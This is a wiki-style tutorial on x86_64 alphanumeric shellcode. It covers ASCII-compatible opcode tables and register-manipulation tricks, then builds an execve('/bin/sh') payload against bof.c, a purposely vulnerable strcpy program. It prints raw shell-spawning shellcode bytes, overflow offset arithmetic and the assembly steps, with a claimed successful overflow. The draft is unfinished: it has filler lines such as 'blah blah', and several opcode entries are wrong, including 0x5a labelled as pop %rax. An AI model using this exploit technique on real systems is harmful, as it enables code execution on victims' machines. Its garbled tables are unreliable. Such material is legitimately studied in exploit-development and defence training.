This article documents alphanumeric code on multiple architectures, but primarily the 64 bit x86 architecture. |
Alphanumeric shellcode requires a basic understanding of assembly and shellcode. |

Available x86_64 Instructions
This chart contains 64-bit alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available. |

Alphanumeric Opcode Compatibility
Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible.
Alphanumeric Intercompatible x86 Opcodes
This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.
Hex | ASCII | Assembler Instruction |
---|---|---|
0x64, 0x65 | d,e | [fs | gs] prefix |
0x66, 0x67 | f,g | 16bit [operand | ptr] override |
0x68, 0x6a | h,j | push |
0x69, 0x6b | i,k | imul |
0x6c-0x6f | l-o | ins[bwd], outs[bwd] |
0x70-0x7a | p-z | Conditional Jumps |
0x30-0x35 | 0-5 | xor |

0x50-0x57 | P-W | push *x, *i, *p |
0x58-0x5a | XYZ | pop [*ax, *cx, *dx] |
Because not all opcodes are intercompatible, yet comparisons and conditional jumps are intercompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes. The opcodes which are specifically not compatible are limited to the 64 bit special prefixes 0x40-0x4f, which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, %r8-%r15. By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors. Following this, a conditional statement can be made against one of the two registers to determine if the value was set. Using the pop instruction is the most effective way to set the value of a register due to instructional limitations. Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.
15 Byte Architecture Detection Shellcode
This bytecode does not have a conditional jump. The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet. |
This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns equal on a 32 bit system and not equal on a 64 bit system. The conditional jump may be best reserved for the t and u instructions, jump if equal and jump if not equal, respectively.

On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stack. Also notice that while this was assembled as a Linux-based ELF executable, the Operating System should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.
Alphanumeric x86_64 Register Value and Data Manipulation
Given the limited set of instructions for alphanumeric shellcode.... write some more stuff once done explaining the various aspects below in a general short form manner.
Push: Alphanumeric x86_64 Registers
Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
pushw [word] | \x66\x68\x##\x## | fh?? |
pushq [byte] | \x6a\x## | j? |
pushq [dword] | \x68\x##\x##\x##\x## | h???? |
Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register is being pushed. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
push %rax | \x50 | P |
push %rcx | \x51 | Q |
push %rdx | \x52 | R |
push %rbx | \x53 | S |
push %rsp | \x54 | T |
push %rbp | \x55 | U |
push %rsi | \x56 | V |
push %rdi | \x57 | W |
For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
push %r8 | \x41\x50 | AP |
push %r9 | \x41\x51 | AQ |
push %r10 | \x41\x52 | AR |
push %r11 | \x41\x53 | AS |
push %r12 | \x41\x54 | AT |
push %r13 | \x41\x55 | AU |
push %r14 | \x41\x56 | AV |
push %r15 | \x41\x57 | AW |
For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
push %ax | \x66\x50 | fP |
push %cx | \x66\x51 | fQ |
push %dx | \x66\x52 | fR |
push %bx | \x66\x53 | fS |
push %sp | \x66\x54 | fT |
push %bp | \x66\x55 | fU |
push %si | \x66\x56 | fV |
push %di | \x66\x57 | fW |
For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
push %r8w | \x66\x41\x50 | fAP |
push %r9w | \x66\x41\x51 | fAQ |
push %r10w | \x66\x41\x52 | fAR |
push %r11w | \x66\x41\x53 | fAS |
push %r12w | \x66\x41\x54 | fAT |
push %r13w | \x66\x41\x55 | fAU |
push %r14w | \x66\x41\x56 | fAV |
push %r15w | \x66\x41\x57 | fAW |
Pop: Alphanumeric x86_64 Registers
Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode. This is limited to RAX, RCX, and RAX. As with push, the extended register shellcode is prefixed to access 16 bit and general registers. This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers able to be pop(ed).
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
pop %rax | \x58 | X |
pop %rcx | \x59 | Y |
pop %rax | \x5a | Z |
For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
pop %r8 | \x41\x58 | AX |
pop %r9 | \x41\x59 | AY |
pop %r10 | \x41\x5a | AZ |
16 bit registers (using 0x66 or 'f' [sometimes fA] prefix):
Assembly | Hexadecimal | Alphanumeric ASCII |
---|---|---|
pop %ax | fW | |
pop %cx | fX | |
pop %dx | fZ | |
pop *%r8w | fAW | |
pop *%r9w | fAX | |
pop *%r10w | fAZ |
Using push and pop the values of 6 fullsize CPU registers can be set:
- %rax
- %rcx
- %rdx
- %r8
- %r9
- %r8
Or get any values of 16 fullsize CPU registers to the top of the stack:
- %r8-%r15
- %rax-%rdi
Prefixes
Examining this next section, there are 5 main registers, and 5 special 64 bit registers that can be push(ed), but not pop(ed):
- %rbx
- %rsp
- %rbp
- %rsi
- %rdi
This can be written using alphanumeric bytecode instructions and operands only through the use of any of the 6 full control registers by emulating for mov with push and pop. Using only the registers already accessed, an attempt will be made to get instructions for to set values.
The special register prefix has been identified:
0x41, 'A'
The word operand override has been identified,
0x66, 'f'.
Note the identification of all the alphanumeric overrides and prefixes. These overrides are very similar to those for 32 bit platforms.
Hex Value | Alpha Value | Description |
---|---|---|
0x36 | 6 | %ss segment override |
0x64 | d | %fs segment override |
0x65 | e | %gs segment override |
0x66 | f | 16-bit operand size |
0x67 | g | 16-bit address size |
0x41 | A | 64-bit special register use (%r##) |
0x48 | H | 64-bit register size override |
0x40-4f | B-P | Special 64-bit overrides |
Operands
Opcodes used for popping a register can also be used as 'register operands' for more advanced instructions. For example, take this xor instruction:
Assembly | Hexadecimal | Alpha |
---|---|---|
<syntaxhighlight lang="asm">xor $0x[byte](%rax),%ebx</syntaxhighlight> | \x33\x58\x## | 3X? |
The %rax register can be changed to %rcx or %rdx using the 0x59 (Y) and 0x5a (Z) opcodes in place of the 0x58 (X) opcode:
Assembly | Hexadecimal | Alpha |
---|---|---|
<syntaxhighlight lang="asm">xor $0x[byte](%rcx),%ebx</syntaxhighlight> | \x33\x59\x## | 3Y? |
Whenever there's a controllable register, the notation {reg} is used to recognize it as an option. In the bytecodes and string examples, a '?' is used in the bytecode itself and a '*' to denote the register operand, for example:
Assembly | Hexadecimal | Alpha |
---|---|---|
<syntaxhighlight lang="asm">xor $0x[byte]({reg}),%ebx</syntaxhighlight> | \x33\x??\x## | 3*? |
The opcodes for %rax, %rcx, and %rdx are important and thus will be used frequently. When encountering multiple operands, the operand number is used in the notation for readability purposes.
Other Primitive Emulations
- Xor
- Imul
- Movslq
Identifying the ways to set the rest of the registers while investigating %rbx was not entirely fruitful. Full control over the %rbx register is not available, however, write access to its sub-registers is available:
- %ebx
- %bx
- %bh
- %bl
Access to these is by using xor, imul, and movslq instructions:
# -%ebx: # xor $0x[byte]({reg}),%ebx # "\x33\x??\x##" "3*?" # # imul $0x[dword1],0x[byte2]({reg}),%ebx # "\x69\x??\x#2\x#1\x#1\x#1\x#1" "i*21111" # # imul $0x[byte1],0x[byte2]({reg}), %ebx # "\x6b\x??\x#2\x#1" "k*21" # # movslq 0x[byte1]({reg}), %ebx # "\x63\x??\x## "c*?" #
Note: To access the %ss segment, insert the prefix at the beginning of the bytecode of instructions (e.g. "63*?" instead of "3*?"). If preferred to use the special 64 bit registers, 0x41 or "A" is placed at the beginning of the bytecode. If the use of both is required, the %ss segment register prefix first, e.g. '6A3*?' must always be used. When using one of the 64 bit force operators, one can use any of those instructions on %ebx with an override to treat it as %rbx (in this case, 0x48).
# imul $0x[byte1],0x[byte2]({reg}),%rbx # "\x48\x6b\x??\x#2\x#1" "Hk*21"
To set the value of %rbx directly, imul, xor, and movslq can be used. It's similar for the other registers that can't be directly accessed yet, save for a couple.
Xor
Left over are %rsp, %rbp, %rdi, and %rsi. Taking a closer look at xor, at 0x30 and ending at 0x35 are these valuable xor commands:
# 0x34: xor $0x##, %al # 0x35: xor $0x########, %eax # 0x48 0x35 : xor $0x########, %rax
0x30 is a multi-byte xor instruction. Requiring at least two operands (even if register denote):
# # 0x30 - xor %{16bit}, (%{64bit}) # xor %{16bit}, (%{64bit},%{64bit},1) # xor %{16bit}, (%{64bit},%{64bit},2) # # xor %{16bit}, 0x[byte](%{64bit}) # xor %{16bit}, 0x[byte](,%{64bit},1) # xor %{16bit}, 0x[byte](,%{64bit},2) # # xor %{16bit}, 0x[dword](%{64bit}) # xor %{16bit}, 0x[dword](,%{64bit},1) # xor %{16bit}, 0x[dword](,%{64bit},2) #
# 0x31 - xor %{32bit}, (%{64bit}) # 0x31 is just as flexible as 0x30. Not # all permutations are noted due to brevity.
# # 0x32 - xor (%{64bit}), %{16bit} # 0x32 is just as flexible, although the offsets will # change source side rather than destination side. # # 0x33 - xor (%{64bit}), %{32bit} # 0x33 is the opposite of 0x31. Just as flexible. #
Difficult Registers
Combining the knowledge of xor with the knowledge of the stack. When any data is pushed, the data is accessible at %ss:(%rsp). Knowing this, another register can be used in the available space (e.g. %rcx) to set values on some of the more difficult registers:
- %rbx
- %rsp
- %rbp
- %rsi
- %rdi
First, utilise push and pop to simulate 'mov':
<syntaxhighlight lang="asm"> push %rsp; \x54 pop %rcx; \x59 pop %rax; \x5a (This just sets the pointer back) </syntaxhighlight>
Two XOR parameters allow index registers to be set, %rsi and %rdi. For now, they will be zero'd out:
<syntaxhighlight lang="asm"> push %rsi; \x56 xor %ss:(%rcx), %rsi; \x36\x48\x33\x31 pop %r8; \x41\x58 push %rdi; \x57 xor %ss:(%rcx), %rdi; \x36\x48\x33\x39 pop %r8 </syntaxhighlight>
Now %rsi and %rdi have been zero'd out. %r14 and %r15 special registers can also be pushed and zeroed out in this fashion. Now "full control" is gained over:
- %rax
- %rcx
- %rdx
- %rsi
- %rdi
- %r8
- %r9
- %r10
- %r14
- %r15
So far, full control is not available over:
- %rsp
- %rbp
- %rbx
- %r11
- %r12
- %r13
Similar to push, controllable data is required before the setting of a register. Where pop is concerned, something might be required to be pushed to the stack first, in this case, only the zero register is required. Due to the way that XOR works, once a zero is registered at all, in this case %rax is used as the zero register, it can be used to get %rbx, %rsp, and %rbp to zero if needed:
To get %rbx:
<syntaxhighlight lang="asm"> xor %ss:0x30(%rcx), %rax; store that value in rax xor %rax, %ss:0x30(%rcx); Null that area of stack imul $0x30,%ss:0x30(%rax),%rbx; 0x30 * 0 = 0 imul $0x30,%ss:0x30(%rax),%rbp; 0x30 * 0 = 0 </syntaxhighlight>
Once the stack space, as well as the destination is set to zero, %rax, %rbp can effectively be mov(ed):
<syntaxhighlight lang="asm"> xor %rax,%ss:0x30(%rcx); 36 48 31 41 30 xor %ss:0x30(%rcx),%rbp; 36 48 33 69 30 </syntaxhighlight>
The closest thing to incrementing and decrementing is the ability to use the ins and outs instructions to add or subtract 1,2, or 4 against the %rdi register. This still leaves no significant add or sub. Imul can be used with 16 and 8 bit registers to find division. If %rsi is not in use, there is also a magic mov :
<syntaxhighlight lang="asm"> movsql %ss:0x30(%rcx), %rsi xor %rsi, %ss:0x30(%rsi) </syntaxhighlight>
This can come in quite handy when chunking large pieces of data to 0.
Example: Zeroing Out x86_64 CPU Registers
First %rsp is pushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the pointer address matches what is now in %rcx.
<syntaxhighlight lang="asm">
push %rsp 2 pop %rcx 1 pop %r8 2
</syntaxhighlight>
The following push overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then set back to %rcx using pop.
<syntaxhighlight lang="asm">
push %rsi xor %ss:(%rcx), %rsi pop %r8
</syntaxhighlight>
Again using the same form, %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.
<syntaxhighlight lang="asm">
push %rdi xor %ss:(%rcx), %rdi pop %r8
</syntaxhighlight>
say some stuff, explain what's going on etc.
<syntaxhighlight lang="asm">
push %rdi pop %rdx # rdx is zero
</syntaxhighlight>
blah blah & blah
<syntaxhighlight lang="asm">
push $0x30 pop %rax xor $0x30, %al # zeroed out %rax
</syntaxhighlight>
blahblah blah
<syntaxhighlight lang="asm">
# Time to zero %rbx and %rbp xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) # Zero that stack slot xor %rbx, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbx # %rbx is zero push %rdx pop %rax # re-initialize %rax as dummy xor %ss:0x30(%rcx), %rax xor %rax, %ss:0x30(%rcx) xor %rbp, %ss:0x30(%rcx) xor %ss:0x30(%rcx), %rbp # %rbp is zero
</syntaxhighlight>
64 bit shellcode conversion to alphanumeric code
bof.c
This is a modified version of bof.c to allow for 200 bytes because the length of the final shellcode exceeds 100 bytes. |
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char buffer[200]; strcpy(buffer, argv[1]); return 0; } |
Starting Shellcode (64-bit execve /bin/sh)
This was converted to shellcode from the example in 64 bit linux assembly |
- execve('/bin/sh');
.section .data .section .text .globl _start _start: # a function is f(%rdi,%rdx,%rsi). # Use zeroed memory to zero out %rsi, %rdi, %rdx xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Store '/bin/sh\0' in %rdi movq $0x68732f6e69622f6a, %rdi shr $0x8,%rdi push %rdi push %rsp pop %rdi push $0x3b pop %rax syscall # execve('/bin/sh', null, null) # function no. is 59/0x3b - execve() |
- execve('/bin/sh')
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
Shellcode Analysis
Immediately before the syscall:
- %rax is set to 0x3b
- %rdi is a pointer to '/bin/sh\0'
- %rsi and %rdx are null
To reproduce this, because the syscall is binary, it must be written to a location that will eventually be executed ahead of currently executing code. The xor and imul instructions can then be used to set values on registers.
Stack Analysis
- The formula to determine the offset from the stack pointer is (return address + shellcode length) - %rsp.
These buffer dumps have been shortened for brevity and readability. |

So the shellcode actually starts at 0x7fffffffe726. The pointer for the buffer overflow looks like "\x26\xe7\xff\xff\xff\x7f". As a result of the limited instruction set, a bit of polymorphism must be used to overwrite code in front of currently executing code with the syscall instructions. There is an offset between 0x7fffffffe3c8 and 0x7fffffffe726 of e726 - e3c8 or 0x35e. The is 862 bytes away from %rsp, and may come out over 100 bytes, so 975, or 0x3cf is the offset used in this shellcode.
The Offset
- To prepare for xor and imul manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.
# Set %rcx as stack pointer # and align %rsp push $0x5a push %rsp pop %rcx pop %rax |
- Preparing for imul, an xor is used to place 0x0f into %rax, then push %rax to the stack.
# Get magic offset and store in %rdi xor $0x55, %al push %rax # 0x0f on the stack now. |
- Because 0x41 * 0x0f = 0x3cf (975), the offset can be calculated in purely alphanumeric form. Modify this as code distances itself from the stack pointer during an exploit. The offset is stored in %rdi after setting back the stack pointer.
pop %rax # add back to %esp imul $0x41, (%rcx), %edi # %rdi = 0x3cf, a "magic offset" for us |
The Syscall
- Now that the offset to an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new instructions to be written:
movslq (%rcx,%rdi,1), %rsi xor %esi, (%rcx,%rdi,1) |
- This next xor comes out to 0x0000050f, which when moved onto the stack becomes 0x0f050000. 0x0f05 is the machine code for a syscall.
push $0x3030474a pop %rax xor $0x30304245, %eax |
- The %rax register now contains 0x050f. Put 0x0f050000 at (%rcx) - then set the stack pointer back.
push %rax pop %rax # Garbage reg |
- A mov emulation is used to mov 0x0f05 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instructions:
movslq (%rcx), %rsi xor %esi, (%rcx,%rdi,1) |
Arguments
Stack Space
- Zero out a qword of data starting at %rcx + 0x30 (48 in decimal)
# Allocate stack space movslq 0x30(%rcx), %rsi xor %esi, 0x30(%rcx) movslq 0x34(%rcx), %rsi xor %esi, 0x34(%rcx) |
Register Initialization
- The %rdx, %rdi, and %rsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the stack space previously allocated.
# Zero rdx, rsi, and rdi movslq 0x30(%rcx), %rdi movslq 0x30(%rcx), %rsi push %rdi pop %rdx |
String Argument
- /bin is placed onto the stack at the space allocated at %rcx + 0x30.
push $0x5a58555a pop %rax xor $0x34313775, %eax xor %eax, 0x30(%rcx) |
- /sh\0 is placed onto the stack at the space allocated at %rcx + 0x34.
push $0x6a51475a pop %rax xor $0x6a393475, %eax xor %eax, 0x34(%rcx) |
- xor is used as a mov emulation to place '/bin/sh\0' into %rdi.
xor 0x30(%rcx), %rdi |
- Set the stack pointer back so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push '/bin/sh\0'.
pop %rax push %rdi |
Final Registers
- %rsi and %rdx are 0. First, push a byte to meet the sign requirement for movslq, then zero %rdi.
push $0x58 movslq (%rcx), %rdi xor (%rcx), %rdi |
- Align %rsp and %rcx, then use a mov emulation to place %rsp into %rdi. %rdi then contains a pointer to '/bin/sh\0'.
pop %rax push %rsp xor (%rcx), %rdi |
- %rax is set to 59 or 0x3b for the execve() syscall.
xor $0x63, %al |
Final registers:
- %rax = 0x3b
- %rdi = pointer to '/bin/sh\0'
- %rsi = null
- %rdx = null
Final Code
- x86_64 alphanumeric execve('/bin/sh',null,null) - 111 bytes:

Successful Overflow Test
This shellcode was tested on a modified bof.c to make the buffer 200 bytes in stead of 100 bytes, as the shellcode here exceeds the original buffer size. |
